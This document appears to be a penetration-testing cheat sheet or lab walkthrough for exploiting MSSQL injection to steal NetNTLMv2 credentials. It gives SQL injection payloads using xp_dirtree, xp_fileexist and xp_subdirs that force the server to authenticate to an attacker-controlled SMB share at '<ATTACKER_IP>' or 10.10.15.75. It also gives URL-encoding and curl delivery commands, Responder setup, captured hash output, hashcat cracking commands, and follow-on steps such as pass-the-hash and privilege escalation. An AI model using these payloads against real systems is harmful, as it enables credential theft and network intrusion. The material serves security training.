Database administrators often set up service accounts for MSSQL to access network shares. If SQLi is found, we can capture NetNTLM credentials by coercing the SQL server to authenticate to our SMB share.
1. Start Responder (SMB listener)
2. Inject xp_dirtree to access our "share"
3. Capture NetNTLM hash
4. Crack hash with hashcat
git clone https://github.com/lgandx/Responder
cd Respondersudo python3 Responder.py -I tun0Verify SMB is ON:
[+] Servers:
HTTP server [ON]
SMB server [ON]
...
If SMB is OFF, edit
Responder.confand setSMB = On
EXEC master..xp_dirtree '\\<ATTACKER_IP>\myshare', 1, 1;This attempts to list contents of SMB share, requiring authentication.
';EXEC master..xp_dirtree '\\<ATTACKER_IP>\myshare', 1, 1;--printf %s "';EXEC master..xp_dirtree '\\\\10.10.15.75\myshare', 1, 1;--" | jq -rR @uriOutput: '%3BEXEC%20master..xp_dirtree%20'%5C%5C10.10.15.75%5Cmyshare'%2C%201%2C%201%3B--
curl -s "http://<TARGET>/api/check-username.php?u='%3BEXEC%20master..xp_dirtree%20'%5C%5C10.10.15.75%5Cmyshare'%2C%201%2C%201%3B--"[+] Listening for events...
[SMB] NTLMv2-SSP Client : 192.168.43.156
[SMB] NTLMv2-SSP Username : SQL01\jason
[SMB] NTLMv2-SSP Hash : jason::SQL01:bd7f162c24a39a0f:94DF80C5ABBA...<SNIP>...000000
Captured:
- Client IP: 192.168.43.156
- Username: SQL01\jason
- Hash: NetNTLMv2 hash
hashcat -m 5600 '<HASH>' /usr/share/wordlists/rockyou.txthashcat -m 5600 -O -w 3 'jason::SQL01:bd7f162c24a39a0f:94DF80C5ABB...<SNIP>...000000' /usr/share/wordlists/rockyou.txtjason::SQL01:bd7f162c24a39a0f:94DF80C5ABB...<SNIP>...000000:<CRACKED_PASSWORD>
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Recovered........: 1/1 (100.00%) Digests
| Function | Query |
|---|---|
| xp_dirtree | EXEC master..xp_dirtree '\\IP\share', 1, 1; |
| xp_fileexist | EXEC master..xp_fileexist '\\IP\share\file'; |
| xp_subdirs | EXEC master..xp_subdirs '\\IP\share'; |
# 1. Start Responder
sudo responder -I tun0
# 2. URL encode payload
printf %s "';EXEC master..xp_dirtree '\\\\<ATTACKER_IP>\myshare', 1, 1;--" | jq -rR @uri
# 3. Send payload
curl -s "http://<TARGET>/api/check-username.php?u=<URL_ENCODED_PAYLOAD>"
# 4. Check Responder for captured hash
# 5. Crack with hashcat
hashcat -m 5600 '<HASH>' /usr/share/wordlists/rockyou.txtusername::domain:challenge:response:blob
| Hash Type | Mode |
|---|---|
| NetNTLMv1 | 5500 |
| NetNTLMv2 | 5600 |
- Verify Responder SMB is ON
- Check firewall allows SMB (port 445)
- Verify network connectivity
- Try different coercion method
- Try larger wordlist
- Add rules:
-r /usr/share/hashcat/rules/best64.rule - May be strong password (not in wordlist)
After cracking password:
- WinRM access (if enabled)
- RDP access (if enabled)
- SMB access to file shares
- Pass-the-hash attacks
- Privilege escalation
sudo responder -I tun0';EXEC master..xp_dirtree '\\<ATTACKER_IP>\share', 1, 1;--hashcat -m 5600 'hash' wordlist.txt